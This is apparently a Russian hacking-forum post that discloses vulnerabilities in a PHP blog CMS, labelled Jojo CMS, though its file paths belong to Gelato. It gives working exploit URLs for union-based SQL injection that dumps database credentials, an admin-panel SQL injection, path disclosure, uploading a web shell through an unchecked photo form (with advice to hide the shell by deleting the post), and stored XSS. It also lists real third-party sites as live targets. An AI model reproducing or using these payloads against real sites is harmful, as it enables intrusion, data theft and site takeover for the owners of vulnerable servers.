
01.03.2010, 18:36
|
|
Познающий
Регистрация: 21.02.2009
Сообщений: 54
С нами:
9061820
Репутация:
134
|
|
Jojo CMS 1.0 Release Candidate 2
Официальный сайт: http://www.jojocms.org/
Последняя версия: Jojo CMS 1.0 Release Candidate 2(релиз 28 сентября 2009)
1)SQL-Injection
Требования:
отсутствуют.
Путь до уязвимого скрипта:
../gelato/index.php
Эксплуатация(по умолчанию админские данные лежат в таблице "gel_users"):
Код:
http://127.0.0.1/gelato/gelato/index.php?post=100500+union+select+1,concat%28user%28%29,0x3a,version%28%29,0x3a,database%28%29%29,3,4,5,6,7+--+
Реальный сайт:
Код:
http://jazzfaggot.ru/index.php?post=100500+union+select+1,concat(version(),0x3a,user(),0x3a,database()),3,4,5,6,7+--+
Причина возникновения уязвимости:
ошибка в логике проверки получаемых данных.
PHP код:
if (isset($_GET["post"])) {
$id_post = $_GET["post"];
if (!is_numeric($id_post) && $id_post < 1 ){ //достаточно выполнить только одно условие, для того чтобы пройти проверку на корректность
header("Location: index.php");
}
} else {
if (isset($param_url[1]) && $param_url[1]=="post") {
$id_post = (isset($param_url[2])) ? ((is_numeric($param_url[2])) ? $param_url[2] : NULL) : NULL;
} else {
$id_post = NULL;
}
}
2) SQL-Injection(админка)
Требования:
доступ к администраторской панели Путь до уязвимого скрипта:
../gelato/gelato/admin/user.php
Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/admin/user.php?edit=2+union+select+1,2,3,4,5,6,7
Причина возникновения уязвимости:
полное отсутствие фильтрации.
3)Path dislocure:
Требования:
вывод ошибок. Путь до уязвимого скрипта:
../gelato/index.php Эксплуатация:
Код:
http://127.0.0.1/gelato/gelato/index.php?post[]=100500
Реальный сайт:
Код:
http://madsc.iz.rs/index.php?post[]=8
4)Заливка шелла
Требования:
доступ в админку.
Путь до уязвимого скрипта:
../gelato/admin/index.php Код уязвимого скрипта:
PHP код:
if ($_POST["type"]=="2") { //слово "photo" переводится в числовой аналог скриптом, проинклюженным до этого
if (isset($_POST["url"]) && $_POST["url"]!="") {
$photoName = getFileName($_POST["url"]); //проверки на расширение нет-с
if (!$tumble->savePhoto($_POST["url"])) {
header("Location: ".$conf->urlGelato."/admin/index.php?photo=false");
die();
}
$_POST["url"] = "../uploads/".sanitizeName($photoName); }
Эксплуатация:
http://127.0.0.1/gelato/gelato/admin/index.php?new=photo
В качестве фотографии выбираете ваш шелл, любое расширение, создаёте пост. Шелл будет загружен в папку uploads.
Для того чтобы не спалить шелл на главной странице удалите ваш пост, шелл при этом удалён не будет.
Также уязвим модуль загрузки фотографии\музыки\видео\ит .[/I]
Причина возникновения уязвимости:
отсутствие проверки на расширение.
5)Активная XSS
Требования:
включена возможность комментирования.
Путь до уязвимого скрипта:
../gelato/index.php Уязвимое поле:
<textarea name="content" id="content" cols="100" rows="10" tabindex="4"></textarea>
Эксплуатация:
занесите в уязвимое поле ваш java-script, предварительно закрыв тэг(">)
Сайт с алертом: http://madsc.iz.rs/index.php/post/37 .
|
|
|